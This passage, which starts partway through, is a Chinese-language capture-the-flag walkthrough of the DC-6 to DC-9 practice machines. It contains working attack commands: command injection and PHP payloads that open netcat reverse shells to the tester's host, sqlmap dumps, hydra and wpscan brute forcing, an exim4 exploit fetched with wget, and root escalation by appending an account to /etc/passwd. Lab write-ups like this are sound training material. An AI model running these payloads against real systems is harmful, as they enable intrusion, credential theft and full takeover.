cewl可根据文本生成字典

cewl http://wordy -w passwd.txt

image-20230728080642651

4.1dirb

dirb挖文件和目录:

dirb http://wordy

image-20230728080922098

http://wordy/wp-admin/network/admin.php

4.2 dirsearch

也可以使用dirsearch扫文件和目录:

dirsearch -u http://wordy -e*

image-20230728110647350

http://wordy/wp-login.php?redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&reauth=1

image-20230728081011772

如果遇到了这种:

image-20230728101948948

那就将wordy换为靶机ip再访问并登录一下.

5.wpscan获取用户名

则使用wpscan攻击,得到用户名:

wpscan --url http://wordy/ -e u

image-20230728081249655

将这5个用户名写入字典之中:

image-20230728081325323

6.wpscan爆破账号密码

使用wpscan爆破账号密码:

wpscan --url http://wordy -U admin.txt -P passwd.txt

image-20230728081516086

根据提示,要使用kali上的字典:

image-20230728082640869

cat /usr/share/wordlists/rockyou.txt|grep k01>passwords.txt

image-20230728095004709

 wpscan --url http://wordy -P passwords.txt -U admin.txt

image-20230728095034866

得到:

mark; helpdesk01

输入:

image-20230728095915771

进入后台:

image-20230728100432908

这个就有点像利用ping和管道符执行命令的题,都是跟IP有关

7.RCE

尝试:

image-20230728100736869

既然可以执行shell命令,那就直接反弹shell:

发现在那个框的字符有长度限制,所以选择抓包:

# kali:
nc -lvnp 2333
# 抓包:
127.0.0.1|nc -e /bin/bash 192.168.40.148 2333

image-20230728101124870

发送后立刻得到shell:

image-20230728101200515

开启交互模式:

python -c 'import pty;pty.spawn("/bin/bash")'

image-20230728101243662

8.目录遍历与信息泄露

image-20230728101738528

获得:graham - GSo7isUM1D4

尝试后台登录:http://wordy/wp-login.php?redirect_to=http%3A%2F%2F192.168.40.166%2Fwp-admin%2Fnetwork%2Fadmin.php&reauth=1

image-20230728102110972

登录失败,则尝试用SSH登录:

ssh graham@192.168.40.166

image-20230728102241223

成功登录

可以直接用SSH登录mark用户而不用反弹shell吗?不可:

image-20230728102528245

查看免密的命令:

sudo -l

image-20230728102728518

查看文件:

image-20230728102918993

里面是一个能够运行的shell命令

9.利用shell文件切换用户

尝试在文件中添加命令行:

echo '/bin/bash'>>backups.sh

现在我们需要登录jens用户的终端看看:

直接尝试切换为root会怎么样?-失败

image-20230728105822401

image-20230728110005638

所以执行:

sudo -u jens ./backups.sh

image-20230728103809951

一样的,查看jens用户的免密命令有什么:

sudo -l

image-20230728103911319

10.nmap提权

因为nmap 可以运行文件,那就写一个用于打开root的shell的文件,然后用nmap运行:

echo 'os.execute("su root")' >getshell.nse
sudo nmap --script=getshell.nse

image-20230728104507464

成功切换到root

然后拿flag:

cd /root
ls
cat theflag.txt
# 这时自己输入的命令本身貌似不会显示出来,但命令结果可以显示

image-20230728104809410

11.小结

# 信息搜集
ip addr
nmap -sP 192.168.40.148 # 结果为192.168.40.166
nmap -A 192.168.40.166 -p 0-65535

# 生成字典与爆破
cewl http://wordy -w passwd.txt # cewl可根据文本生成字典
dirb http://wordy # 挖文件和目录
dirsearch -u http://wordy -e*  # 挖文件和目录

# wpscan-针对WordPress的工具
wpscan --url http://wordy/ -e u # 获得用户名
wpscan --url http://wordy -U admin.txt -P passwd.txt # 爆破账号密码
cat /usr/share/wordlists/rockyou.txt|grep k01>passwords.txt # 使用kali自带的字典
 wpscan --url http://wordy -P passwords.txt -U admin.txt # 重新爆破
 127.0.0.1|nc -e /bin/bash 192.168.40.148 2333 # 插件漏洞,进行RCE
 
 python -c 'import pty;pty.spawn("/bin/bash")' # 交互模式
 ssh graham@192.168.40.166 # 网页登录不了,就尝试SSH登录
 sudo -l  # 查看免密的命令
 查看各个用户家目录的文件-信息泄露
 
 # 利用shell文件切换用户
 echo '/bin/bash'>>backups.sh 
 sudo -u jens ./backups.sh
 
 # nmap提权
 echo 'os.execute("su root")' >getshell.nse
sudo nmap --script=getshell.nse

DC-7 √ Drupal

192.168.40.167

192.168.40.171

参考:https://blog.csdn.net/weixin_43583637/article/details/102809227

1.nmap

nmap扫IP与端口:

nmap -sP 192.168.40.148/24
nmap -A 192.168.40.167 -p 0-65535

image-20230801110821827

image-20230801110911873

2.wappalyzer

image-20230801111016741

3.信息泄露

image-20230801112437307

搜索:@DC7USER

image-20230801112552850image-20230801113325852

image-20230801113516840

重要文件:config.php

该配置文件暴露了账号和密码

username = "dc7user";
password = "MdR3xOgB7#dW";

SSH连接:

image-20230801113834374

查看文件:

ls
cd backups

image-20230801114058926

发现了两个.gpg结尾的文件

.gpg 文件是使用 GnuPG(GNU Privacy Guard)工具进行加密操作后生成的文件。GnuPG 是一个免费、开源的加密软件,用于对文件和通信进行加密、签名和验证。

.gpg 文件是通过将原始文件使用 GnuPG 进行加密得到的。它们包含了经过加密处理的数据,并且只能被拥有相应私钥的人解密。GnuPG 使用一种称为“公钥加密”的加密技术,其中包括公钥和私钥。

在使用 GnuPG 加密时,接收者会生成一对密钥:公钥和私钥。发送者使用接收者的公钥对要加密的文件进行加密,并生成一个 .gpg 文件。然后,发送者将该文件发送给接收者。接收者可以使用自己的私钥解密 .gpg 文件,并还原为原始文件。

此路不通,则查看mbox文件:

发现这是一个计划任务,定时备份,并且备份执行的源码在/opt/scripts目录下

image-20230801114740993

cd /opt/scripts
cat backups.sh

image-20230801114958190

发现了两个重要命令:drush和gpg

4.修改admin密码

gpg命令用来加密

drush命令是drupal框架中用来做一些配置的命令,可以改变用户名和密码

cd /var/www/html
ls

image-20230801115512433

由于网站一般都有一个管理员-admin用户,所以这里使用drush命令修改admin用户的密码

drush user-password admin --password="666"

简单解释:

image-20230801120040807

image-20230801120139821

回到网页并点击右上角的Log in 后:

image-20230801120335625

image-20230801120415800

准备反弹shell

5.反弹shell-www-data

image-20230801120822988

image-20230801120902092

image-20230801120958744

现在需要将PHP单独作为一个模块导入:

PHP介绍页面与模块包下载地址:

https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image-20230802203421160

image-20230802203457847

image-20230802203608264

image-20230802203814916

image-20230802203900531

然后来到网站的欢迎页面,也就是首页的编辑区:

image-20230802204120548

image-20230802204417712

然后按"Save"保存

image-20230802204538766

通过蚁剑连接:

image-20230802204602161

接下来反弹shell与切换交互式shell:

image-20230802204818769

nc -e /bin/bash 192.168.40.148 2333
nc -lvnp 2333
python -c "import pty;pty.spawn('/bin/bash');"

发现当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属的组是www-data,所以当前用户可以对这个脚本文件进行操作,进行反弹shell

6.通过定时任务再次反弹shell-root

image-20230802205730639

可见得backups.sh为root用户所建,属于www-data组.

且前面的-rwxrwxr-x表示了同组用户对backups.sh都有r,w,x的权限

# 靶机:/opt/scripts
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.40.148 2333 >/tmp/f" >> backups.sh
# kali:
nc -lvnp 2333

然后稍等片刻

image-20230802211636115

注意不能在添加完反弹shell语句后使用./backups.sh来执行此脚本.

执行后虽然能反弹shell,但是弹得是www-data用户的shell,如图:

image-20230802211811601

接下来拿flag:

image-20230802211859583

7.小结

# nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.167 -p 0-65535
# wappalyzer
Drupal
# 信息泄露
github->账号密码(config.php)->SSH
# cd /var/www/html并修改admin用户密码
drush user-password admin --password="666"  # Drupal下特有
# 安装PHP模块并反弹普通用户的shell(或者是连蚁剑)
nc -e /bin/bash 192.168.40.167
# 通过定时任务反弹root用户shell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.40.148 2333 >/tmp/f" >> backups.sh

DC-8 √ Drupal

192.168.40.168

参考:https://blog.csdn.net/l2872253606/article/details/126062437

1.nmap

扫IP与端口:

nmap -sP 192.168.40.148/24
nmap -A 192.168.40.168 -p 0-65535 -Pn

image-20230801173540461

image-20230801205755604

image-20230801205712847

发现22端口(SSH服务),80端口(HTTP服务)

3.目录扫描

dirsearch -u 192.168.40.168 -e * -x 403 --random-agent

解析:

-u 192.168.40.167 : 指定目标IP地址

-e *:表示将尝试所有可能的文件扩展名

-x 403: 将忽略返回状态码为 403 的响应

--random-agent : 使用随机的 User-Agent 字符串发送 HTTP 请求

image-20230801205609060

发现了几个重要文件:

CHANGELOG.txt->用于查看Drupal的版本
/user/login  ->用于登录

4.wappalyzer

访问80端口并查网站结构:

image-20230801205852491

了解具体的版本: CHANGELOG.txt

image-20230801210201057

得知是Drupal 7.67

image-20230801210250166

5.SQL注入

最主要的就是要寻找漏洞点,而参数往往就是一个重要的利用点.

image-20230801210614182

尝试注入点:

image-20230801210955882

接下来就是sqlmap时间:

# 爆库 :d7db
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch --current-db

image-20230801211200714

得知数据库名为"d7db"

# 爆表 :users
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -tables

image-20230801211501177

# 爆列
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -columns

image-20230801211739934

# 爆字段
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -C 'name,pass,uid' -dump

image-20230801211933345

得到了密码

6.john解密

touch hash.txt
echo '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z' >> hash.txt
echo '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF' >> hash.txt
cat hash.txt

image-20230801212340786

得出一个密码:turtle

image-20230801212540355

经测试是john的密码

7.PHP反弹shell

登录后查找可写PHP代码的位置:

image-20230801215333505

image-20230801215404475

<p>反弹shell成功!</p>
<?php
system("nc -e /bin/bash 192.168.40.148 2333");
?>

image-20230801215507986

python -c "import pty;pty.spawn('/bin/bash');"

image-20230801215743911

小tips:获得交互式shell后,若要删除字符,则需ctrl+backspace

8.SUID提权

# 查找具有SUID权限的命令:
find / -perm -4000 -print 2 > /dev/null

image-20230801220328095

这里采用WP中的/usr/sbin/exim4提权:

查看版本:

exim --version : 4.89

image-20230801220930147

# 在kali上寻找
searchsploit exim 4

image-20230801221140706

拷贝到kali的指定目录中:

# kali
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh

image-20230801221615157

再在此目录下开启HTTP服务:

# kali
python -m http.server 6666

image-20230801221659945

# dc-7
cd /tmp # EXP的要求
wget 192.168.40.148:6666/46996.sh  # 再下载到靶机的/tmp目录中

image-20230801222120825

# 查看文件权限
ls -al

image-20230801222211900

得出EXP文件不可执行

#赋予EXP执行的权限
chmod 777 46996.sh
ls -al

image-20230801222325804

cat 46996.sh

image-20230801222647431

./46996.sh -m netcat

image-20230801222911031

提权成功

image-20230801222955539

9.小结

# DC-8
# nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.168 -p 0-65535
# 目录扫描-dirsearch
dirsearch -u 192.168.40.168 -e * -x 403 --random-agent
重要文件: CHANGELOG.txt->用于查看Drupal的具体版本 ,/user/login  ->用于登录
# wappalyzer
Drupal
# SQL注入:
一般而言,参数+数字
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch --current-db
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -tables
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -columns
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -C 'name,pass,uid' -dump
# john解密
john hash.txt
# PHP反弹shell-也可连蚁剑
<?php system('nc -e /bin/bash 192.168.40.168 2333')?>
# SUID提权  - /usr/sbin/exim4提权
find / -perm -4000 -print 2 > /dev/null # /usr/sbin/exim4
searchsploit exim 4
cp,mv,wget,将sh文件移动到靶机的/tmp目录下,并chmod赋权
./46996.sh -m netcat  # EXP中会提示用法

DC-9 √

192.168.40.169

参考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596

https://www.cnblogs.com/Bitores/p/14759425.html

1.nmap

nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535

image-20230801223642759

image-20230801223748255

照样还是22/ssh服务,80/http服务

2.dirsearch扫目录

dirsearch -u 192.168.40.169 -e * -x 403 --random-agent

image-20230801224630470

3.wappalyzer

image-20230801224737219

发现并没有用CMS

4.SQL注入

到处点击,寻找输入框:在Search模块可找到

image-20230801224845279

而且点击Submit后,发现页面有跳转的情况.抓包看情况:

image-20230801225207032

万能密码验证SQL注入:

1' or 1=1#

image-20230801225325678

sqlmap这里使用:

https://www.cnblogs.com/Bitores/p/14759425.html

# sqlmap之POST型传参 : information_schema,Staff,users
# 根据上图的HTTP请求报文,得出:
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs

image-20230801230350731

# 爆表
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables

image-20230802000924686

# 列:firstname,id,lastname,password,reg_date,username
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns

image-20230802001033866

# Staff数据库
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# users数据库
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump

注意:

1.payload中的数据库名、表名、字段名都不要用引号包围

2.注意区分大小写

Staff库

image-20230802001616305

admin/transorbital1

users库

image-20230802220006868

5.文件包含

登录后发现:

image-20230802002002853

可能是文件包含漏洞,尝试:发现存在文件包含漏洞

image-20230802002545600

其实应该像DC-5一样需要爆破参数名,这里就省去了,直接猜测参数名为file

尝试包含Apache的日志文件:/var/log/apache2/access.log

image-20230802213009956

6.knockd敲门与关门

再结合前面nmap扫描时22端口的状态是filter,猜测可能是服务器装了knockd

关于knockd:

image-20230802213325657

查看knocked的配置文件:knockd.conf

http://192.168.40.169/welcome.php?file=../../../../../etc/knockd.conf

image-20230802213550741

解析:

image-20230802213610031

image-20230802213716117

即使用iptables命令来允许或禁止通过TCP端口22(即SSH端口)的连接

接下来就要打开22端口:

这里参考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596

#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
nmap -A 192.168.40.169 -p 22

敲门并查看22端口是否打开:

image-20230802214847047

7.hydra爆破SSH账号密码

端口开启后就可以尝试SSH连接:

结合第4步的结果:

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
3kfs86sfd
468sfdfsd2
sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

另:chatGPT写了一个转化脚本:https://wwwg.lanzouk.com/iaUz41485nwj

image-20230802221623628

效果:

image-20230802221700730

分别写入到users.txt和passwd.txt之中,

# 使用hydra爆破:
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh

image-20230802223119645

三组数据:

chandlerb / UrAG0D!

joeyt / Passw0rd

janitor / Ilovepeepee

这里采用第一组数据

ssh chandlerb@192.168.40.169

image-20230802223700948

但是没找到有用信息

尝试第二组数据:依旧没有有用信息

image-20230802224148661

尝试第三组数据:

image-20230802224234496

cat passwords-found-on-post-it-notes.txt

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

在第4步爆出的账号中匹配到了三个,分别是

image-20230802224954143

BamBam01
Passw0rd
smellycats

结合这个与hydra爆出的数据,选择joeyt 用户进行提权

find / -perm -u=s -type f 2>/dev/null

image-20230802225618142

一眼望去,没有提权点

再看WP,得知要把passwords-found-on-post-it-notes.txt中的数据补充到passwd.txt中,然后再次hydra爆破:

image-20230802230810686

爆出了一组新的账号密码

fredf / B4-Tru3-001

ssh fredf@192.168.40.169
sudo -l

image-20230802231023834

NOPASSWD: /opt/devstuff/dist/test/test

cd /opt/devstuff/dist/test

发现了大量.so文件:

image-20230802231456277

.so是Linux下的动态链接,类似于Windows下的.dll文件

查看其他目录:

image-20230802231640517

在/opt/devstuff目录下发现了test.py和test.spec文件

.spec文件:

可以是指由被叫的rpmbuild程序中使用的文本文件。这个程序是用来建立RPM包。 RPM代表Red Hat软件包管理。这些软件包用于安装Linux程序。该文件包含包名称,版权信息,版本,引用程序文件,总结,并说明创建和安装软件包。

#!/usr/bin/python
# 该文件根据给定的命令行参数读取一个文件,并将其内容附加到另一个文件的末尾
# 本文件中的第一个参数sys.argv[0]代表程序本身,第二个参数sys.argv[1]代表第一个文件,第三个参数sys.argv[2]代表另一个文件
import sys

if len (sys.argv) != 3 : # 保证命令行参数的数量为3
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r") # 以只读模式打开第二个命令行参数指定的文件
    output = (f.read()) # 将内容读取到变量output中

    f = open(sys.argv[2], "a") # 以追加模式打开第三个命令行参数指定的文件
    f.write(output) # 进行追加
    f.close()

大体思路就是写一个root权限账号出来,通过该脚本,追加到/etc/passwd之中

怎么写账号密码?

Linux是怎么生成密码的?

通过openshell生成密码,通过md5加密

perl -le 'print crypt("666","salt")'  # 将字符串"666"使用盐"salt"进行加密

得到:sat087sUBmRKY

image-20230802233357401

据此,构造出账户:

echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd

passwd的格式:

[⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]

sudo ./test /tmp/passwd /etc/passwd

image-20230802234242620

image-20230802234326958

8.小结

# DC-9
# nmap 
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535
# 目录扫描-dirsearch
dirsearch -u 192.168.40.169 -e * -x 403 --random-agent
# wappalyzer
没有明显的CMS
# POST型SQL注入
查询框+页面跳转->bp抓包
万能密码 1' or 1=1# 验证出SQL注入
# 数据库users
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
# 另一个数据库-Staff 
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# 注意点: 1.名称不用引号包围 2.注意大小写

# 文件包含
File does not exit ->猜测参数为file,通过/etc/passwd验证出文件包含漏洞

# knockd-filter状态
/etc/knockd.conf
# 敲门
#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
# 查看
nmap -A 192.168.40.169 -p 22

# hydra爆破:实现数据库账号密码->SSH账号密码
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh
# 登录后查到隐藏的密码,增添后再次爆破->获得真正的能够提权的用户
sudo -l

# 结合可执行文件(用于追加数据)+/etc/passwd提权
perl -le 'print crypt("666","salt")'
echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd
sudo ./test /tmp/passwd /etc/passwd